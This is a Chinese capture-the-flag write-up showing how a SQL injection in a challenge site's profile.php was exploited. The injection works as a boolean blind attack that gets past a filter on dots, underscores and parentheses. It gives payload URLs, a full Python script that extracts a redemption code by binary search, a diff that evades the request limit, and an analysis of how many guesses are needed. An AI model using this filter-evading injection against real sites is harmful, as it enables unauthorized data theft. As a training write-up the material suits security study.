- admin/admin 登录可以发现提示 , 下载源码
- 白盒审计 , 发现 profile.php 的 id 参数可以注入 :
但是这里是有限制的 :
if(preg_match("#\.#",$id) or preg_match("#_#",$id) or preg_match("#\(#",$id) or preg_match("#\)#",$id)){
die('<h3>danger character dectected</h3>');
}
不能使用 '_' : 也就是说不能使用 information_schema
不能使用括号 , 也就是不能用函数
那么明注应该是不可以了 , 所以考虑基于 Boolean 的盲注
# 字符串 'a' 小于 'admin'
# 因此显示 'a' 的结果
http://54.223.59.178/profile.php?id=2%20union%20select%201,0x61,3,4,5%20from%20users%20order%20by%202
# 字符串 'b' 大于 'admin'
# 因此显示 'admin' 的结果
http://54.223.59.178/profile.php?id=2%20union%20select%201,0x61,3,4,5%20from%20users%20order%20by%202
可以直接盲注 , 只要不出现括号和下划线即可
但是需要注意的两点 :
1. profile.php 访问 140 次后当前用户的兑换码就会被重置 , 因此要将盲注脚本控制在 140 次之内
2. 兑换码由 '1234567890abcdefghijklmnopqrstuvwxyz' 打乱顺序组成 , 而不是生成的随机字符串 , 也就是说 , 其中不会有重复 , 这一点可以用来减少盲注的猜解次数 , 最后事实证明 , 大概最短的猜解次数为 139 次 , 真心佩服出题人 , 精准打击
Exploit
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author : WangYihang <wangyihanger@gmail.com>
# Comment : 由于每次兑换码不同 , 因此有可能出现 140 次跑不出来的情况 , 所以需要多跑几次
import requests
session = requests.Session()
def login(username, password):
url = "http://54.223.59.178/index.php"
session.post(url, data={"username": username, "password": password})
def check(url):
# print "[+] %s" % (url)
content = session.get(url).content
if "尝试次数过多" in content:
exit(1)
pass
else:
print "[+] 访问次数 : %d" % (int(content.split("您已经访问")[1].split("次")[0]))
return "This is admin page" in content
chars = "0123456789abcdefghijklmnopqrstuvwxyz"
def exploit(length):
global chars
data = ""
for i in range(length):
LEFT = 0
RIGHT = len(chars)
P = (LEFT + RIGHT) / 2
while abs(LEFT - RIGHT) > 1:
# print "[%d]>>>>[%d]<<<<[%d]" % (LEFT, P, RIGHT)
guess = "%02x" % ord(chars[P])
# url = '''http://54.223.59.178/profile.php?id=2%20union%20select%201,0x''' + data.encode("hex").replace("0x", "") + guess + ''',3,4,5%20from%20users%20order%20by%202'''
url = '''http://54.223.59.178/profile.php?id=2%20union%20select%201,2,3,0x''' + \
data.encode("hex").replace(
"0x", "") + guess + ''',5%20from%20users%20where user=0x61646d696e order%20by%204'''
if check(url):
RIGHT = P
else:
LEFT = P
P = (LEFT + RIGHT) / 2
if len(chars) == 0:
return
ch = chars[P]
data += ch
chars = chars.replace(ch, "") # 根据不重复的特性 , 将已经得到的字符删除 , 增加命中几率
print "[+] Data (%d) : %s" % (len(data), data)
def main():
# login("lilac", "lilac")
login("admin", "admin")
exploit(0x40)
if __name__ == "__main__":
main()
备注 :
有大佬说 , 这里的 140 次的限制是可以绕过的
可以用别的用户名来构造盲注脚本
测试了一下发现确实可以 , 唉 , 思路还有有点僵化
这里判断 session 中的用户的 count , 然后修改的该用户的兑换码
所以我们只需要控制 id 即可控制得到的兑换码是哪个用户的 , 例如 id=2 为 admin
所以我们只需要新注册一个用户 , 登录并这个用户注出别的用户的数据即可
可以将上面 exploit 稍作修改即可 , 以下为 diff 文件
17c17
< exit(1)
---
> # exit(1)
50,51c50,51
< # login("lilac", "lilac")
< login("admin", "admin")
---
> login("lilac", "lilac")
> # login("admin", "admin")
后记 :
想了想为什么要取 140 次 ?
应该是和二分查找的时间复杂度有关
我们知道二分查找的时间复杂度为 log 以 2 为底 , n 的对数 , 其中 n 为搜索空间的度量
在这里也就是这个字符集 :
1234567890abcdefghijklmnopqrstuvwxyz
每次查找都可以确定能找到一个字符
那么每次字符集的数量就减少 1
那么最终的平均尝试次数可以根据如下公式 :
$$\sum_{i=1}^n log_2(n)$$
好吧 , 简书不支持 LaTex
So talk is cheap, show me the code
In [1]: import math
In [2]: def times(length):
...: return (math.log(length, 2)))
...:
In [3]: result = 0
...: for i in range(36, 1, -1):
...: result += times(i)
...: print "[+] %f" % (result)
...:
[+] 5.169925
[+] 10.299208
[+] 15.386671
[+] 20.431065
[+] 25.431065
[+] 30.385261
[+] 35.292152
[+] 40.150133
[+] 44.957488
[+] 49.712375
[+] 54.412815
[+] 59.056671
[+] 63.641634
[+] 68.165196
[+] 72.624627
[+] 77.016945
[+] 81.338873
[+] 85.586800
[+] 89.756725
[+] 93.844188
[+] 97.844188
[+] 101.751079
[+] 105.558434
[+] 109.258873
[+] 112.843836
[+] 116.303268
[+] 119.625196
[+] 122.795121
[+] 125.795121
[+] 128.602476
[+] 131.187438
[+] 133.509366
[+] 135.509366
[+] 137.094329
[+] 138.094329